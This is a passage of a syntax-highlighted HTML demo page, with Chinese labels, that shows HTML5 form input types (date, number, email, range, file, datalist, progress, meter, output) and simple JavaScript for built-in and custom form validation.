</span><span>#</span><span>f8f9fa</span><span>;</span></div></div><div><div><div>16</div></div><div><span><span>      </span></span><span>color: </span><span>#</span><span>222</span><span>;</span></div></div><div><div><div>17</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>18</div></div><div>
</div></div><div><div><div>19</div></div><div><span>    </span><span>main</span><span> {</span></div></div><div><div><div>20</div></div><div><span><span>      </span></span><span>max-width: </span><span><span>900</span><span>px</span></span><span>;</span></div></div><div><div><div>21</div></div><div><span><span>      </span></span><span>margin: </span><span><span>2</span><span>rem</span></span><span><span> </span><span>auto</span><span>;</span></span></div></div><div><div><div>22</div></div><div><span><span>      </span></span><span>background: </span><span>#</span><span>fff</span><span>;</span></div></div><div><div><div>23</div></div><div><span><span>      </span></span><span>padding: </span><span><span>2</span><span>rem</span></span><span>;</span></div></div><div><div><div>24</div></div><div><span><span>      </span></span><span>border-radius: </span><span><span>8</span><span>px</span></span><span>;</span></div></div><div><div><div>25</div></div><div><span><span>      </span></span><span>box-shadow: </span><span>0</span><span> </span><span><span>2</span><span>px</span></span><span> </span><span><span>8</span><span>px</span></span><span> </span><span>rgba</span><span>(</span><span>0</span><span>, </span><span>0</span><span>, </span><span>0</span><span>, </span><span>0.08</span><span>);</span></div></div><div><div><div>26</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>27</div></div><div>
</div></div><div><div><div>28</div></div><div><span>    </span><span>nav</span><span> {</span></div></div><div><div><div>29</div></div><div><span><span>      </span></span><span>margin-bottom: </span><span><span>1.5</span><span>rem</span></span><span>;</span></div></div><div><div><div>30</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>31</div></div><div>
</div></div><div><div><div>32</div></div><div><span>    </span><span>a</span><span> {</span></div></div><div><div><div>33</div></div><div><span><span>      </span></span><span>color: </span><span>#</span><span>007bff</span><span>;</span></div></div><div><div><div>34</div></div><div><span><span>      </span></span><span>text-decoration: </span><span>none</span><span>;</span></div></div><div><div><div>35</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>36</div></div><div>
</div></div><div><div><div>37</div></div><div><span>    </span><span>a</span><span>:hover</span><span> {</span></div></div><div><div><div>38</div></div><div><span><span>      </span></span><span>text-decoration: </span><span>underline</span><span>;</span></div></div><div><div><div>39</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>40</div></div><div><span><span>  </span></span><span>&lt;/</span><span>style</span><span>&gt;</span></div></div><div><div><div>41</div></div><div><span>&lt;/</span><span>head</span><span>&gt;</span></div></div><div><div><div>42</div></div><div>
</div></div><div><div><div>43</div></div><div><span>&lt;</span><span>body</span><span>&gt;</span></div></div><div><div><div>44</div></div><div><span><span>  </span></span><span>&lt;</span><span>main</span><span>&gt;</span></div></div><div><div><div>45</div></div><div><span><span>    </span></span><span>&lt;</span><span>h2</span><span>&gt;表单示例&lt;/</span><span>h2</span><span>&gt;</span></div></div><div><div><div>46</div></div><div><span><span>    </span></span><span>&lt;</span><span>form</span><span>&gt;</span></div></div><div><div><div>47</div></div><div><span><span>      </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom: 1em</span><span>"</span><span>&gt;</span></div></div><div><div><div>48</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"color"</span><span>&gt;颜色选择：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>49</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"color"</span><span> </span><span>name</span><span>=</span><span>"color"</span><span> </span><span>type</span><span>=</span><span>"color"</span><span> /&gt;</span></div></div><div><div><div>50</div></div><div><span><span>      </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>51</div></div><div><span><span>      </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom: 1em</span><span>"</span><span>&gt;</span></div></div><div><div><div>52</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"date"</span><span>&gt;日期：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>53</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"date"</span><span> </span><span>name</span><span>=</span><span>"date"</span><span> </span><span>type</span><span>=</span><span>"date"</span><span> /&gt;</span></div></div><div><div><div>54</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"datetime"</span><span>&gt;日期时间：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>55</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"datetime"</span><span> </span><span>name</span><span>=</span><span>"datetime"</span><span> </span><span>type</span><span>=</span><span>"datetime-local"</span><span> /&gt;</span></div></div><div><div><div>56</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"month"</span><span>&gt;月份：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>57</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"month"</span><span> </span><span>name</span><span>=</span><span>"month"</span><span> </span><span>type</span><span>=</span><span>"month"</span><span> /&gt;</span></div></div><div><div><div>58</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"week"</span><span>&gt;周：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>59</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"week"</span><span> </span><span>name</span><span>=</span><span>"week"</span><span> </span><span>type</span><span>=</span><span>"week"</span><span> /&gt;</span></div></div><div><div><div>60</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"time"</span><span>&gt;时间：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>61</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"time"</span><span> </span><span>name</span><span>=</span><span>"time"</span><span> </span><span>type</span><span>=</span><span>"time"</span><span> /&gt;</span></div></div><div><div><div>62</div></div><div><span><span>      </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>63</div></div><div><span><span>      </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom: 1em</span><span>"</span><span>&gt;</span></div></div><div><div><div>64</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"number"</span><span>&gt;数字：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>65</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"number"</span><span> </span><span>placeholder</span><span>=</span><span>"值为0~10之间"</span><span> </span><span>step</span><span>=</span><span>"0.5"</span><span> </span><span>required</span><span> </span><span>name</span><span>=</span><span>"number"</span><span> </span><span>type</span><span>=</span><span>"number"</span><span> </span><span>min</span><span>=</span><span>"0"</span><span> </span><span>max</span><span>=</span><span>"10"</span></div></div><div><div><div>66</div></div><div><span>          </span><span>style</span><span>=</span><span>"</span><span>width: 100px;</span><span>"</span><span> /&gt;</span></div></div><div><div><div>67</div></div><div><span><span>        </span></span><span>&lt;</span><span>span</span><span> </span><span>style</span><span>=</span><span>"</span><span>font-size: 12px; color: #888</span><span>"</span><span>&gt;number&lt;/</span><span>span</span><span>&gt;</span></div></div><div><div><div>68</div></div><div><span><span>      </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>69</div></div><div><span><span>      </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom: 1em</span><span>"</span><span>&gt;</span></div></div><div><div><div>70</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"email"</span><span>&gt;邮箱：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>71</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"email"</span><span> </span><span>name</span><span>=</span><span>"email"</span><span> </span><span>type</span><span>=</span><span>"email"</span><span> </span><span>required</span><span> /&gt;</span></div></div><div><div><div>72</div></div><div><span><span>        </span></span><span>&lt;</span><span>span</span><span> </span><span>style</span><span>=</span><span>"</span><span>font-size: 12px; color: #888</span><span>"</span><span>&gt;email 在提交时才会校验邮箱&lt;/</span><span>span</span><span>&gt;</span></div></div><div><div><div>73</div></div><div><span><span>      </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>74</div></div><div><span><span>      </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom: 1em</span><span>"</span><span>&gt;</span></div></div><div><div><div>75</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"tel"</span><span>&gt;手机号：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>76</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"tel"</span><span> </span><span>name</span><span>=</span><span>"tel"</span><span> </span><span>type</span><span>=</span><span>"tel"</span><span> /&gt;</span></div></div><div><div><div>77</div></div><div><span><span>        </span></span><span>&lt;</span><span>span</span><span> </span><span>style</span><span>=</span><span>"</span><span>font-size: 12px; color: #888</span><span>"</span><span>&gt;tel 没有格式校验，主要是移动端弹出数字键盘&lt;/</span><span>span</span><span>&gt;</span></div></div><div><div><div>78</div></div><div><span><span>      </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>79</div></div><div><span><span>      </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom: 1em</span><span>"</span><span>&gt;</span></div></div><div><div><div>80</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"search"</span><span>&gt;搜索：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>81</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"search"</span><span> </span><span>name</span><span>=</span><span>"search"</span><span> </span><span>type</span><span>=</span><span>"search"</span><span> </span><span>autofocus</span><span> /&gt;</span></div></div><div><div><div>82</div></div><div><span><span>        </span></span><span>&lt;</span><span>span</span><span> </span><span>style</span><span>=</span><span>"</span><span>font-size: 12px; color: #888</span><span>"</span><span>&gt;search</span></div></div><div><div><div>83</div></div><div><span><span>          </span></span><span>浏览器会有清除按钮，利于SEO和可访问性，移动端弹出键盘的确认会变成搜索&lt;/</span><span>span</span><span>&gt;</span></div></div><div><div><div>84</div></div><div><span><span>      </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>85</div></div><div><span><span>      </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom: 1em</span><span>"</span><span>&gt;</span></div></div><div><div><div>86</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"range"</span><span>&gt;范围：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>87</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"range"</span><span> </span><span>name</span><span>=</span><span>"range"</span><span> </span><span>type</span><span>=</span><span>"range"</span><span> /&gt;</span></div></div><div><div><div>88</div></div><div><span><span>      </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>89</div></div><div><span><span>      </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom: 1em</span><span>"</span><span>&gt;</span></div></div><div><div><div>90</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"custom"</span><span>&gt;自定义验证：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>91</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"custom"</span><span> </span><span>name</span><span>=</span><span>"custom"</span><span> </span><span>type</span><span>=</span><span>"text"</span><span> /&gt;</span></div></div><div><div><div>92</div></div><div><span><span>        </span></span><span>&lt;</span><span>span</span><span> </span><span>id</span><span>=</span><span>"custom-error"</span><span> </span><span>style</span><span>=</span><span>"</span><span>color: red; font-size: 12px;</span><span>"</span><span>&gt;&lt;/</span><span>span</span><span>&gt;</span></div></div><div><div><div>93</div></div><div><span><span>      </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>94</div></div><div><span><span>      </span></span><span>&lt;</span><span>span</span><span> </span><span>style</span><span>=</span><span>"</span><span>font-size: 12px; color: #888</span><span>"</span><span>&gt;range&lt;/</span><span>span</span><span>&gt;</span></div></div><div><div><div>95</div></div><div><span><span>      </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>96</div></div><div><span><span>      </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom: 1em</span><span>"</span><span>&gt;</span></div></div><div><div><div>97</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"file"</span><span>&gt;多文件上传：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>98</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>id</span><span>=</span><span>"file"</span><span> </span><span>name</span><span>=</span><span>"file"</span><span> </span><span>type</span><span>=</span><span>"file"</span><span> </span><span>multiple</span><span> /&gt;</span></div></div><div><div><div>99</div></div><div><span><span>        </span></span><span>&lt;</span><span>span</span><span> </span><span>style</span><span>=</span><span>"</span><span>font-size: 12px; color: #888</span><span>"</span><span>&gt;multiple 支持多文件上传&lt;/</span><span>span</span><span>&gt;</span></div></div><div><div><div>100</div></div><div><span><span>      </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>101</div></div><div><span><span>      </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom: 1em</span><span>"</span><span>&gt;</span></div></div><div><div><div>102</div></div><div><span><span>        </span></span><span>&lt;</span><span>label</span><span>&gt;height/width image&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>103</div></div><div><span><span>        </span></span><span>&lt;</span><span>input</span><span> </span><span>type</span><span>=</span><span>"image"</span><span> </span><span>name</span><span>=</span><span>""</span><span> </span><span>value</span><span>=</span><span>""</span><span> </span><span>width</span><span>=</span><span>"100"</span><span> </span><span>height</span><span>=</span><span>"100"</span><span>&gt;</span></div></div><div><div><div>104</div></div><div><span><span>      </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>105</div></div><div><span>      </span><span>&lt;!-- &lt;button type="submit" style="padding: 0.5em 1.5em"&gt;提交&lt;/button&gt; --&gt;</span></div></div><div><div><div>106</div></div><div><span><span>      </span></span><span>&lt;</span><span>section</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-top:2em;</span><span>"</span><span>&gt;</span></div></div><div><div><div>107</div></div><div><span><span>        </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom:1em;</span><span>"</span><span>&gt;</span></div></div><div><div><div>108</div></div><div><span><span>          </span></span><span>&lt;</span><span>details</span><span>&gt;</span></div></div><div><div><div>109</div></div><div><span><span>            </span></span><span>&lt;</span><span>summary</span><span>&gt;</span><span>&amp;lt;</span><span>details</span><span>&amp;gt;</span><span> 下拉详情演示&lt;/</span><span>summary</span><span>&gt;</span></div></div><div><div><div>110</div></div><div><span><span>            </span></span><span>用户会在他们输入数据时看到域定义选项的下拉列表。</span></div></div><div><div><div>111</div></div><div><span><span>            </span></span><span>&lt;</span><span>br</span><span> /&gt;</span></div></div><div><div><div>112</div></div><div><span><span>            </span></span><span>例如：</span></div></div><div><div><div>113</div></div><div><span><span>            </span></span><span>&lt;</span><span>input</span><span> </span><span>list</span><span>=</span><span>"browsers"</span><span> </span><span>name</span><span>=</span><span>"browser"</span><span>&gt;</span></div></div><div><div><div>114</div></div><div><span><span>            </span></span><span>&lt;</span><span>datalist</span><span> </span><span>id</span><span>=</span><span>"browsers"</span><span>&gt;</span></div></div><div><div><div>115</div></div><div><span><span>              </span></span><span>&lt;</span><span>option</span><span> </span><span>value</span><span>=</span><span>"Chrome"</span><span>&gt;</span></div></div><div><div><div>116</div></div><div><span><span>              </span></span><span>&lt;</span><span>option</span><span> </span><span>value</span><span>=</span><span>"Firefox"</span><span>&gt;</span></div></div><div><div><div>117</div></div><div><span><span>              </span></span><span>&lt;</span><span>option</span><span> </span><span>value</span><span>=</span><span>"Safari"</span><span>&gt;</span></div></div><div><div><div>118</div></div><div><span><span>              </span></span><span>&lt;</span><span>option</span><span> </span><span>value</span><span>=</span><span>"Edge"</span><span>&gt;</span></div></div><div><div><div>119</div></div><div><span><span>            </span></span><span>&lt;/</span><span>datalist</span><span>&gt;</span></div></div><div><div><div>120</div></div><div><span><span>          </span></span><span>&lt;/</span><span>details</span><span>&gt;</span></div></div><div><div><div>121</div></div><div><span><span>        </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>122</div></div><div><span><span>        </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom:1em;</span><span>"</span><span>&gt;</span></div></div><div><div><div>123</div></div><div><span><span>          </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"progress-demo"</span><span>&gt;</span><span>&amp;lt;</span><span>progress</span><span>&amp;gt;</span><span> 进度条：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>124</div></div><div><span><span>          </span></span><span>&lt;</span><span>progress</span><span> </span><span>id</span><span>=</span><span>"progress-demo"</span><span> </span><span>value</span><span>=</span><span>"0.6"</span><span> </span><span>max</span><span>=</span><span>"1"</span><span> </span><span>style</span><span>=</span><span>"</span><span>width:200px;</span><span>"</span><span>&gt;&lt;/</span><span>progress</span><span>&gt;</span></div></div><div><div><div>125</div></div><div><span><span>          </span></span><span>&lt;</span><span>span</span><span> </span><span>style</span><span>=</span><span>"</span><span>font-size:12px;color:#888;</span><span>"</span><span>&gt;展示连接/下载进度&lt;/</span><span>span</span><span>&gt;</span></div></div><div><div><div>126</div></div><div><span><span>        </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>127</div></div><div><span><span>        </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom:1em;</span><span>"</span><span>&gt;</span></div></div><div><div><div>128</div></div><div><span><span>          </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"meter-demo"</span><span>&gt;</span><span>&amp;lt;</span><span>meter</span><span>&amp;gt;</span><span> 刻度值：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>129</div></div><div><span><span>          </span></span><span>&lt;</span><span>meter</span><span> </span><span>id</span><span>=</span><span>"meter-demo"</span><span> </span><span>min</span><span>=</span><span>"0"</span><span> </span><span>max</span><span>=</span><span>"100"</span><span> </span><span>value</span><span>=</span><span>"70"</span><span> </span><span>low</span><span>=</span><span>"40"</span><span> </span><span>high</span><span>=</span><span>"90"</span><span> </span><span>optimum</span><span>=</span><span>"80"</span></div></div><div><div><div>130</div></div><div><span>            </span><span>style</span><span>=</span><span>"</span><span>width:200px;</span><span>"</span><span>&gt;&lt;/</span><span>meter</span><span>&gt;</span></div></div><div><div><div>131</div></div><div><span><span>          </span></span><span>&lt;</span><span>span</span><span> </span><span>style</span><span>=</span><span>"</span><span>font-size:12px;color:#888;</span><span>"</span><span>&gt;用于计量（如温度、权重、分数等）&lt;/</span><span>span</span><span>&gt;</span></div></div><div><div><div>132</div></div><div><span><span>        </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>133</div></div><div><span><span>        </span></span><span>&lt;</span><span>div</span><span> </span><span>style</span><span>=</span><span>"</span><span>margin-bottom:1em;</span><span>"</span><span>&gt;</span></div></div><div><div><div>134</div></div><div><span><span>          </span></span><span>&lt;</span><span>label</span><span> </span><span>for</span><span>=</span><span>"output-demo"</span><span>&gt;</span><span>&amp;lt;</span><span>output</span><span>&amp;gt;</span><span> 输出：&lt;/</span><span>label</span><span>&gt;</span></div></div><div><div><div>135</div></div><div><span><span>          </span></span><span>&lt;</span><span>span</span><span> </span><span>style</span><span>=</span><span>"</span><span>font-size:12px;color:#888;</span><span>"</span><span>&gt;用于不同类型的输出，比如计算或脚本输出&lt;/</span><span>span</span><span>&gt;</span></div></div><div><div><div>136</div></div><div><span><span>        </span></span><span>&lt;/</span><span>div</span><span>&gt;</span></div></div><div><div><div>137</div></div><div><span><span>      </span></span><span>&lt;/</span><span>section</span><span>&gt;</span></div></div><div><div><div>138</div></div><div><span><span>      </span></span><span>&lt;</span><span>button</span><span> </span><span>type</span><span>=</span><span>"submit"</span><span> </span><span>onclick</span><span>=</span><span>"</span><span>validateForm</span><span>()</span><span>"</span><span>&gt;验证表单&lt;/</span><span>button</span><span>&gt;</span></div></div><div><div><div>139</div></div><div><span><span>      </span></span><span>&lt;</span><span>button</span><span> </span><span>type</span><span>=</span><span>"button"</span><span> </span><span>onclick</span><span>=</span><span>"</span><span>resetCustomValidation</span><span>()</span><span>"</span><span>&gt;重置自定义验证&lt;/</span><span>button</span><span>&gt;</span></div></div><div><div><div>140</div></div><div><span><span>    </span></span><span>&lt;/</span><span>form</span><span>&gt;</span></div></div><div><div><div>141</div></div><div><span><span>    </span></span><span>&lt;</span><span>form</span><span> </span><span>oninput</span><span>=</span><span>"</span><span><span>result</span><span>.</span></span><span>value</span><span>=</span><span>parseInt</span><span><span>(</span><span>a</span><span>.</span></span><span>value</span><span>)</span><span>+</span><span>parseInt</span><span><span>(</span><span>b</span><span>.</span></span><span>value</span><span>)</span><span>"</span><span>&gt;</span></div></div><div><div><div>142</div></div><div><span><span>      </span></span><span>&lt;</span><span>input</span><span> </span><span>type</span><span>=</span><span>"range"</span><span> </span><span>id</span><span>=</span><span>"a"</span><span> </span><span>value</span><span>=</span><span>"50"</span><span>&gt;+</span></div></div><div><div><div>143</div></div><div><span><span>      </span></span><span>&lt;</span><span>input</span><span> </span><span>type</span><span>=</span><span>"number"</span><span> </span><span>id</span><span>=</span><span>"b"</span><span> </span><span>value</span><span>=</span><span>"25"</span><span>&gt;</span></div></div><div><div><div>144</div></div><div><span><span>      </span></span><span>=</span></div></div><div><div><div>145</div></div><div><span><span>      </span></span><span>&lt;</span><span>output</span><span> </span><span>name</span><span>=</span><span>"result"</span><span> </span><span>for</span><span>=</span><span>"a b"</span><span>&gt;75&lt;/</span><span>output</span><span>&gt;</span></div></div><div><div><div>146</div></div><div><span><span>    </span></span><span>&lt;/</span><span>form</span><span>&gt;</span></div></div><div><div><div>147</div></div><div><span><span>  </span></span><span>&lt;/</span><span>main</span><span>&gt;</span></div></div><div><div><div>148</div></div><div><span><span>  </span></span><span>&lt;</span><span>script</span><span>&gt;</span></div></div><div><div><div>149</div></div><div><span>    </span><span>// 获取表单元素</span></div></div><div><div><div>150</div></div><div><span>    </span><span>const</span><span> </span><span>form</span><span> </span><span>=</span><span><span> </span><span>document</span><span>.</span></span><span>querySelector</span><span>(</span><span>'form'</span><span>);</span></div></div><div><div><div>151</div></div><div><span>    </span><span>const</span><span> </span><span>customInput</span><span> </span><span>=</span><span><span> </span><span>document</span><span>.</span></span><span>getElementById</span><span>(</span><span>'custom'</span><span>);</span></div></div><div><div><div>152</div></div><div><span>    </span><span>const</span><span> </span><span>customError</span><span> </span><span>=</span><span><span> </span><span>document</span><span>.</span></span><span>getElementById</span><span>(</span><span>'custom-error'</span><span>);</span></div></div><div><div><div>153</div></div><div>
</div></div><div><div><div>154</div></div><div><span>    </span><span>// 表单验证函数</span></div></div><div><div><div>155</div></div><div><span>    </span><span>function</span><span> </span><span>validateForm</span><span>() {</span></div></div><div><div><div>156</div></div><div><span>      </span><span>// 检查整个表单的有效性</span></div></div><div><div><div>157</div></div><div><span>      </span><span>if</span><span><span> (</span><span>form</span><span>.</span></span><span>checkValidity</span><span>()) {</span></div></div><div><div><div>158</div></div><div><span>        </span><span>alert</span><span>(</span><span>'表单验证通过！'</span><span>);</span></div></div><div><div><div>159</div></div><div><span><span>      </span></span><span>} </span><span>else</span><span> {</span></div></div><div><div><div>160</div></div><div><span>        </span><span>// 检查单个输入的有效性</span></div></div><div><div><div>161</div></div><div><span>        </span><span>const</span><span> </span><span>emailInput</span><span> </span><span>=</span><span><span> </span><span>document</span><span>.</span></span><span>getElementById</span><span>(</span><span>'email'</span><span>);</span></div></div><div><div><div>162</div></div><div><span>        </span><span>if</span><span> (</span><span>!</span><span><span>emailInput</span><span>.</span></span><span>checkValidity</span><span>()) {</span></div></div><div><div><div>163</div></div><div><span><span>          </span></span><span>emailInput</span><span>.</span><span>reportValidity</span><span>(); </span><span>// 这会显示原生的验证提示</span></div></div><div><div><div>164</div></div><div><span>          </span><span>return</span><span>;</span></div></div><div><div><div>165</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>166</div></div><div>
</div></div><div><div><div>167</div></div><div><span>        </span><span>// 检查数字输入的有效性</span></div></div><div><div><div>168</div></div><div><span>        </span><span>const</span><span> </span><span>numberInput</span><span> </span><span>=</span><span><span> </span><span>document</span><span>.</span></span><span>getElementById</span><span>(</span><span>'number'</span><span>);</span></div></div><div><div><div>169</div></div><div><span>        </span><span>if</span><span> (</span><span>!</span><span><span>numberInput</span><span>.</span></span><span>checkValidity</span><span>()) {</span></div></div><div><div><div>170</div></div><div><span><span>          </span></span><span>numberInput</span><span>.</span><span>reportValidity</span><span>();</span></div></div><div><div><div>171</div></div><div><span>          </span><span>return</span><span>;</span></div></div><div><div><div>172</div></div><div><span><span>        </span></span><span>}</span></div></div><div><div><div>173</div></div><div>
</div></div><div><div><div>174</div></div><div><span>        </span><span>alert</span><span>(</span><span>'表单验证失败！'</span><span>);</span></div></div><div><div><div>175</div></div><div><span><span>      </span></span><span>}</span></div></div><div><div><div>176</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>177</div></div><div>
</div></div><div><div><div>178</div></div><div><span>    </span><span>// 自定义验证示例</span></div></div><div><div><div>179</div></div><div><span><span>    </span></span><span>customInput</span><span>.</span><span>addEventListener</span><span>(</span><span>'input'</span><span>, </span><span>function</span><span> () {</span></div></div><div><div><div>180</div></div><div><span>      </span><span>if</span><span> (</span><span>this</span><span>.</span><span>value</span><span>.</span><span>length</span><span> </span><span>&lt;</span><span> </span><span>5</span><span>) {</span></div></div><div><div><div>181</div></div><div><span>        </span><span>this</span><span>.</span><span>setCustomValidity</span><span>(</span><span>'输入必须至少5个字符'</span><span>);</span></div></div><div><div><div>182</div></div><div><span><span>        </span></span><span>customError</span><span>.</span><span>textContent</span><span> </span><span>=</span><span> </span><span>'输入必须至少5个字符'</span><span>;</span></div></div><div><div><div>183</div></div><div><span><span>      </span></span><span>} </span><span>else</span><span> {</span></div></div><div><div><div>184</div></div><div><span>        </span><span>this</span><span>.</span><span>setCustomValidity</span><span>(</span><span>''</span><span>);</span></div></div><div><div><div>185</div></div><div><span><span>        </span></span><span>customError</span><span>.</span><span>textContent</span><span> </span><span>=</span><span> </span><span>''</span><span>;</span></div></div><div><div><div>186</div></div><div><span><span>      </span></span><span>}</span></div></div><div><div><div>187</div></div><div><span><span>    </span></span><span>});</span></div></div><div><div><div>188</div></div><div>
</div></div><div><div><div>189</div></div><div><span>    </span><span>// 重置自定义验证</span></div></div><div><div><div>190</div></div><div><span>    </span><span>function</span><span> </span><span>resetCustomValidation</span><span>() {</span></div></div><div><div><div>191</div></div><div><span><span>      </span></span><span>customInput</span><span>.</span><span>setCustomValidity</span><span>(</span><span>''</span><span>);</span></div></div><div><div><div>192</div></div><div><span><span>      </span></span><span>customError</span><span>.</span><span>textContent</span><span> </span><span>=</span><span> </span><span>''</span><span>;</span></div></div><div><div><div>193</div></div><div><span><span>      </span></span><span>customInput</span><span>.</span><span>value</span><span> </span><span>=</span><span> </span><span>''</span><span>;</span></div></div><div><div><div>194</div></div><div><span><span>    </span></span><span>}</span></div></div><div><div><div>195</div></div><div>
</div></div><div><div><div>196</div></div><div><span>    </span><span>// 显示验证状态信息</span></div></div><div><div><div>197</div></div><div><span><span>    </span></span><span>customInput</span><span>.</span><span>addEventListener</span><span>(</span><span>'invalid'</span><span>, </span><span>function</span><span><span> (</span><span>e</span><span>) {</span></span></div></div><div><div><div>198</div></div><div><span><span>      </span></span><span>e</span><span>.</span><span>preventDefault</span><span>();</span></div></div><div><div><div>199</div></div><div><span><span>      </span></span><span>customError</span><span>.</span><span>textContent</span><span> </span><span>=</span><span><span> </span><span>customInput</span><span>.</span></span><span>validationMessage</span><span>;</span></div></div><div><div><div>200</div></div><div><span><span>    </span></span><span>});</span></div></div><div><div><div>201</div></div><div>
